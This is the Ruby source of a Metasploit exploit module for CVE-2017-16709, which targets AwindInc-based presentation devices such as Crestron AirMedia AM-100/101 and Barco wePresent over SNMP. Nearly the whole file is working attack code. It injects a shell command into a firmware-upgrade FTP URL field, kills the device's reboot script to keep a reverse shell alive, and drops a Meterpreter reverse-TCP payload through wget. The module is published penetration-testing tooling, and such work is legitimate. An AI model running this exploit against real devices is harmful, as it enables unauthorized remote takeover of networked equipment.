Path: blob/master/modules/exploits/linux/snmp/awind_snmp_exec.rb
19758 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::SNMPClient9include Msf::Exploit::CmdStager1011def initialize(info = {})12super(13update_info(14info,15'Name' => "AwindInc SNMP Service Command Injection",16'Description' => %q{17This module exploits a vulnerability found in AwindInc and OEM'ed products where untrusted inputs are fed to ftpfw.sh system command, leading to command injection.18A valid SNMP read-write community is required to exploit this vulnerability.1920The following devices are known to be affected by this issue:2122* Crestron Airmedia AM-100 <= version 1.5.0.423* Crestron Airmedia AM-101 <= version 2.5.0.1224* Awind WiPG-1600w <= version 2.0.1.825* Awind WiPG-2000d <= version 2.1.6.226* Barco wePresent 2000 <= version 2.1.5.727* Newline Trucast 2 <= version 2.1.0.528* Newline Trucast 3 <= version 2.1.3.729},30'License' => MSF_LICENSE,31'Author' => [32'Quentin Kaiser <kaiserquentin[at]gmail.com>'33],34'References' => [35['CVE', '2017-16709'],36['URL', 'https://github.com/QKaiser/awind-research'],37['URL', 'https://qkaiser.github.io/pentesting/2019/03/27/awind-device-vrd/']38],39'DisclosureDate' => '2019-03-27',40'Platform' => ['unix', 'linux'],41'Arch' => [ARCH_CMD, ARCH_ARMLE],42'Privileged' => true,43'Targets' => [44[45'Unix In-Memory',46'Platform' => 'unix',47'Arch' => ARCH_CMD,48'Type' => :unix_memory,49'Payload' => {50'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'openssl' }51}52],53[54'Linux Dropper',55'Platform' => 'linux',56'Arch' => ARCH_ARMLE,57'CmdStagerFlavor' => %w[wget],58'Type' => :linux_dropper59]60],61'DefaultTarget' => 1,62'DefaultOptions' => { 'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp' },63'Notes' => {64'Reliability' => UNKNOWN_RELIABILITY,65'Stability' => UNKNOWN_STABILITY,66'SideEffects' => UNKNOWN_SIDE_EFFECTS67}68)69)7071register_options(72[73OptString.new('COMMUNITY', [true, 'SNMP Community String', 'private']),74]75)76end7778def check79begin80connect_snmp81sys_description = snmp.get_value('1.3.6.1.2.1.1.1.0').to_s82print_status("Target system is #{sys_description}")83# AM-100 and AM-101 considered EOL, no fix so no need to check version.84model = sys_description.scan(/Crestron Electronics (AM-100|AM-101)/).flatten.first85case model86when 'AM-100', 'AM-101'87return CheckCode::Vulnerable88else89# TODO: insert description check for other vulnerable models (that I don't have)90# In the meantime, we return 'safe'.91return CheckCode::Safe92end93rescue SNMP::RequestTimeout94print_error("#{ip} SNMP request timeout.")95rescue Rex::ConnectionError96print_error("#{ip} Connection refused.")97rescue SNMP::UnsupportedVersion98print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.")99rescue ::Interrupt100raise $!101rescue ::Exception => e102print_error("Unknown error: #{e.class} #{e}")103ensure104disconnect_snmp105end106Exploit::CheckCode::Unknown107end108109def inject_payload(cmd)110begin111connect_snmp112varbind = SNMP::VarBind.new([1, 3, 6, 1, 4, 1, 3212, 100, 3, 2, 9, 1, 0], SNMP::OctetString.new(cmd))113resp = snmp.set(varbind)114if resp.error_status == :noError115print_status("Injection successful")116else117print_status("OID not writable or does not provide WRITE access with community '#{datastore['COMMUNITY']}'")118end119rescue SNMP::RequestTimeout120print_error("#{ip} SNMP request timeout.")121rescue Rex::ConnectionError122print_error("#{ip} Connection refused.")123rescue SNMP::UnsupportedVersion124print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.")125rescue ::Interrupt126raise $!127rescue ::Exception => e128print_error("Unknown error: #{e.class} #{e}")129ensure130disconnect_snmp131end132end133134def trigger135begin136connect_snmp137varbind = SNMP::VarBind.new([1, 3, 6, 1, 4, 1, 3212, 100, 3, 2, 9, 5, 0], SNMP::Integer32.new(1))138resp = snmp.set(varbind)139if resp.error_status == :noError140print_status("Trigger successful")141else142print_status("OID not writable or does not provide WRITE access with community '#{datastore['COMMUNITY']}'")143end144rescue SNMP::RequestTimeout145print_error("#{ip} SNMP request timeout.")146rescue Rex::ConnectionError147print_error("#{ip} Connection refused.")148rescue SNMP::UnsupportedVersion149print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.")150rescue ::Interrupt151raise $!152rescue ::Exception => e153print_error("Unknown error: #{e.class} #{e}")154ensure155disconnect_snmp156end157end158159def exploit160case target['Type']161when :unix_memory162execute_command(payload.encoded)163when :linux_dropper164execute_cmdstager165end166end167168def execute_command(cmd, opts = {})169# The payload must start with a valid FTP URI otherwise the injection point is not reached170cmd = "ftp://1.1.1.1/$(#{cmd.to_s})"171172# When the FTP download fails, the script calls /etc/reboot.sh and we loose the callback173# We therefore kill /etc/reboot.sh before it reaches /sbin/reboot with that command and174# keep our reverse shell opened :)175cmd << "$(pkill -f /etc/reboot.sh)"176177# the MIB states that camFWUpgradeFTPURL must be 255 bytes long so we pad178cmd << "A" * (255 - cmd.length)179180# we inject our payload in camFWUpgradeFTPURL181print_status("Injecting payload")182inject_payload(cmd)183184# we trigger the firmware download via FTP, which will end up calling this185# "/bin/getRemoteURL.sh %s %s %s %d"186print_status("Triggering call")187trigger188end189end190191192